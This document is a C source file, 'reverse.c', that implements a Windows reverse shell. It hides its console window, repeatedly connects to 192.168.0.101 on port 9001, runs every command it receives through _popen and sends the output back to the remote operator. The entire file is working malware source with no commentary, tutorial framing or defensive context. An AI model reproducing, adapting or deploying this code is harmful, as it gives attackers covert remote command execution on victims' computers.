reverse.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void)memset((p), 0, (size))

int sock;

void Shell()
{
    char buffer[1024];
    char container[1024];
    char total_response[18384];
    while (TRUE)
    {
    jump:
        bzero(buffer, sizeof(buffer));
        bzero(container, sizeof(container));
        bzero(total_response, sizeof(total_response));
        recv(sock, buffer, sizeof(buffer), 0);

        if (strncmp("q", buffer, 1) == 0)
        {
            closesocket(sock);
            WSACleanup();
            exit(0);
        }
        else
        {
            FILE *fp;
            fp = _popen(buffer, "r");
            while (fgets(container, 1024, fp) != NULL)
            {
                strcat(total_response, container);
            }
            send(sock, total_response, sizeof(total_response), 0);
            fclose(fp);
        }
    }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
    struct sockaddr_in ServAddr;
    unsigned short ServPort;
    char *ServIP;
    WSADATA wsaData;
    ServIP = "192.168.0.101";
    ServPort = 9001;
    if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
    {
        exit(1);
    }

    sock = socket(AF_INET, SOCK_STREAM, 0);
    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(ServIP);
    ServAddr.sin_port = htons(ServPort);

start:
    while (connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) != 0)
    {
        Sleep(10);
        goto start;
    }
    Shell();
}